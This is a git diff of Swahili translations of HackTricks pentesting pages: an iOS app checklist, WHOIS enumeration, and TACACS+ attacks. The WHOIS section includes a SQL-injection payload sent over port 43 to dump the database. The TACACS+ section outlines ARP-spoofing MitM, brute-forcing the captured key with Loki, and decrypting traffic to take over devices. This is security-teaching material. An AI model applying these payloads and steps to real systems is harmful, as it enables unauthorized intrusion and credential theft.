* [ ] Angalia ikiwa programu inaweza kupokea UIActivities na ikiwa ni rahisi kutumia udhaifu wowote na shughuli iliyoundwa kwa umakini
|
||||||
* [**Ubao wa Kukopi**](ios-pentesting/ios-uipasteboard.md)
|
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||||
* [ ] Angalia ikiwa programu ina **nakala chochote kwenye ubao wa kukopi wa kawaida**
|
* [ ] Angalia ikiwa programu ina **nakala kitu chochote kwenye ubao wa kawaida**
|
||||||
* [ ] Angalia ikiwa programu inatumia data kutoka kwenye ubao wa kukopi wa kawaida kwa chochote
|
* [ ] Angalia ikiwa programu ina **tumia data kutoka kwa ubao wa kawaida kwa kitu chochote**
|
||||||
* [ ] Fuatilia ubao wa kukopi kuona ikiwa kuna **habari nyeti inayokopwa**
|
* [ ] Fuatilia ubao wa kubandika kuona ikiwa kuna **data nyeti inayobandikwa**
|
||||||
* [**Vifaa vya Programu**](ios-pentesting/ios-app-extensions.md
|
* [**Vifaa vya Programu**](ios-pentesting/ios-app-extensions.md)
|
||||||
|
* [ ] Je! Programu inatumia **nyongeza yoyote**?
|
||||||
|
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||||
|
* [ ] Angalia aina gani ya webviews inatumika
|
||||||
|
* [ ] Angalia hali ya **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
|
||||||
|
* [ ] Angalia ikiwa webview inaweza **kufikia faili za ndani** kwa itifaki ya **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||||
|
* [ ] Angalia ikiwa Javascript inaweza kufikia **njia za Asili** (`JSContext`, `postMessage`)
|
||||||
### Mawasiliano ya Mtandao
|
### Mawasiliano ya Mtandao
|
||||||
|
|
||||||
* [ ] Fanya [**MitM kwa mawasiliano**](ios-pentesting/#network-communication) na tafuta udhaifu wa wavuti.
|
* [ ] Fanya [**MitM kwa mawasiliano**](ios-pentesting/#network-communication) na utafute mapungufu ya wavuti.
|
||||||
* [ ] Angalia ikiwa [**jina la mwenyeji wa cheti**](ios-pentesting/#hostname-check) linakaguliwa.
|
* [ ] Angalia ikiwa [**jina la mwenyeji wa cheti**](ios-pentesting/#hostname-check) limehakikiwa
|
||||||
* [ ] Angalia/Pitisha [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
|
* [ ] Angalia/Pitisha [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||||
|
|
||||||
### **Misc**
|
### **Mbalimbali**
|
||||||
|
|
||||||
* [ ] Angalia [**mifumo ya kusasisha/kusahihisha moja kwa moja**](ios-pentesting/#hot-patching-enforced-updateing).
|
* [ ] Angalia [**njia za kiotomatiki za kusasisha**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||||
* [ ] Angalia [**maktaba za tatu zenye nia mbaya**](ios-pentesting/#third-parties).
|
* [ ] Angalia [**maktaba za tatu zenye nia mbaya**](ios-pentesting/#third-parties)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee.
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -108,7 +140,7 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kuendesha mchakato** wa kiotomatiki uliojengwa na zana za jamii **za juu zaidi** duniani.\
|
Tumia [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kujenga na **kutumia kiotomatiki** mifumo ya kazi inayotumia zana za jamii za **juu zaidi** duniani.\
|
||||||
Pata Ufikiaji Leo:
|
Pata Ufikiaji Leo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -1,23 +1,30 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
# Taarifa Msingi
|
# Taarifa Msingi
|
||||||
|
|
||||||
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia databases maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kujitegemea, kati ya zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa taarifa.
|
Itifaki ya **WHOIS** hutumika kama njia ya kawaida ya **kuuliza kuhusu wamiliki au wamiliki wa rasilimali mbalimbali za mtandao** kupitia maktaba maalum. Rasilimali hizi ni pamoja na majina ya kikoa, vikundi vya anwani za IP, na mifumo ya kiotomatiki, miongoni mwa zingine. Zaidi ya hayo, itifaki hii hutumika kupata wigo mpana wa habari.
|
||||||
|
|
||||||
**Bandari ya chaguo-msingi:** 43
|
**Bandari ya chaguo:** 43
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
43/tcp open whois?
|
43/tcp open whois?
|
||||||
|
@ -29,16 +36,22 @@ Pata taarifa zote ambazo huduma ya whois ina kuhusu kikoa:
|
||||||
whois -h <HOST> -p <PORT> "domain.tld"
|
whois -h <HOST> -p <PORT> "domain.tld"
|
||||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||||
```
|
```
|
||||||
Tambua kuwa mara nyingine unapouliza habari fulani kwa huduma ya WHOIS, database inayotumiwa inaonekana kwenye jibu:
|
Kumbuka kwamba mara nyingine unapouliza habari fulani kwa huduma ya WHOIS, **database** inayotumiwa inaonekana kwenye jibu:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (147).png>)
|
![](<../.gitbook/assets/image (147).png>)
|
||||||
|
|
||||||
Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuweka na kutoa habari. Kwa hivyo, **SQLInjection** inaweza kuwepo wakati wa **kuuliza** database kutoka kwa habari fulani iliyotolewa na mtumiaji. Kwa mfano, kwa kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuweza **kutoa habari zote** zilizohifadhiwa kwenye database.
|
Pia, huduma ya WHOIS daima inahitaji kutumia **database** kuhifadhi na kutoa habari. Kwa hivyo, **SQLInjection** inaweza kuwepo wakati wa **kuuliza** database kutoka kwa habari iliyotolewa na mtumiaji. Kwa mfano kufanya: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` unaweza kuweza **kutoa** habari yote iliyohifadhiwa kwenye database.
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
* `port:43 whois`
|
* `port:43 whois`
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
# Amri za Kiotomatiki za HackTricks
|
# Amri za Kiotomatiki za HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||||
|
@ -61,14 +74,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,64 +1,77 @@
|
||||||
# 49 - Kupima Usalama wa TACACS+
|
# 49 - Pentesting TACACS+
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumiwa kwa kuthibitisha watumiaji wanaojaribu kupata mitambo au Seva za Kufikia Mtandao (NAS) kwa njia ya kati. Toleo lake lililoboreshwa, **TACACS+**, linagawanya huduma katika uthibitishaji, idhini, na uhasibu (AAA).
|
Itifaki ya **Terminal Access Controller Access Control System (TACACS)** hutumika kuthibitisha watumiaji kwa kati wanajaribu kupata mitambo au Seva za Kufikia Mtandao (NAS). Toleo lake lililoboreshwa, **TACACS+**, huchukua huduma na kuzigawa katika uthibitishaji, idhini, na uhasibu (AAA).
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
49/tcp open tacacs
|
49/tcp open tacacs
|
||||||
```
|
```
|
||||||
**Bandari ya chaguo-msingi:** 49
|
**Bandari ya chaguo:** 49
|
||||||
|
|
||||||
## Kukamata Ufunguo wa Uthibitishaji
|
## Kukamata Kitufe cha Uthibitisho
|
||||||
|
|
||||||
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mshambuliaji, **ufunguo wa uthibitishaji uliyofichwa unaweza kukamatwa**. Mshambuliaji kisha anaweza kujaribu **shambulio la nguvu la ndani dhidi ya ufunguo bila kugunduliwa katika magogo**. Ikiwa shambulio la nguvu linafanikiwa, mshambuliaji anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
|
Ikiwa mawasiliano kati ya mteja na seva ya TACACS yamekamatwa na mkaidi, **kitufe cha uthibitisho kilichofichwa kinaweza kukamatwa**. Mkaidi kisha anaweza kujaribu **shambulio la nguvu la ndani dhidi ya kitufe bila kugunduliwa katika magogo**. Ikiwa mafanikio katika shambulio la nguvu dhidi ya kitufe, mkaidi anapata ufikiaji wa vifaa vya mtandao na anaweza kufichua trafiki kwa kutumia zana kama Wireshark.
|
||||||
|
|
||||||
### Kutekeleza Shambulio la MitM
|
### Kutekeleza Shambulio la MitM
|
||||||
|
|
||||||
Shambulio la kughushi ARP linaweza kutumiwa kutekeleza shambulio la Man-in-the-Middle (MitM).
|
Shambulio la kughushi ARP linaweza kutumika kutekeleza shambulio la Mtu katikati (MitM).
|
||||||
|
|
||||||
### Shambulio la Nguvu dhidi ya Ufunguo
|
### Shambulio la Nguvu dhidi ya Kitufe
|
||||||
|
|
||||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya ufunguo:
|
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) inaweza kutumika kufanya shambulio la nguvu dhidi ya kitufe:
|
||||||
```
|
```
|
||||||
sudo loki_gtk.py
|
sudo loki_gtk.py
|
||||||
```
|
```
|
||||||
Ikiwa ufunguo unavunjwa kwa mafanikio (**kawaida katika muundo uliofichwa wa MD5**), **tunaweza kupata vifaa na kufichua trafiki iliyofichwa ya TACACS**.
|
Ikiwa funguo inabomolewa kwa mafanikio (**kawaida katika muundo uliofichwa wa MD5)**, **tunaweza kupata ufikiaji wa vifaa na kufichua trafiki iliyofichwa ya TACACS.**
|
||||||
|
|
||||||
### Kufichua Trafiki
|
### Kufichua Trafiki
|
||||||
Baada ya ufunguo kuvunjwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa ufunguo unatolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtawala** inaweza kupatikana.
|
Marudio ikiwa imevunjwa kwa mafanikio, hatua inayofuata ni **kufichua trafiki iliyofichwa ya TACACS**. Wireshark inaweza kushughulikia trafiki iliyofichwa ya TACACS ikiwa funguo imetolewa. Kwa kuchambua trafiki iliyofichuliwa, habari kama **bango lililotumiwa na jina la mtumiaji wa mtumiaji wa mizizi** inaweza kupatikana.
|
||||||
|
|
||||||
Kwa kupata ufikiaji wa kisanduku cha udhibiti wa vifaa vya mtandao kwa kutumia vibali vilivyopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kuzingatia kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
|
Kwa kupata ufikiaji wa kisanduku cha kudhibiti cha vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi.
|
||||||
|
|
||||||
## Marejeo
|
## Marejeo
|
||||||
|
|
||||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,48 +4,36 @@
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
|
||||||
# Taarifa Msingi
|
# Taarifa Msingi
|
||||||
|
|
||||||
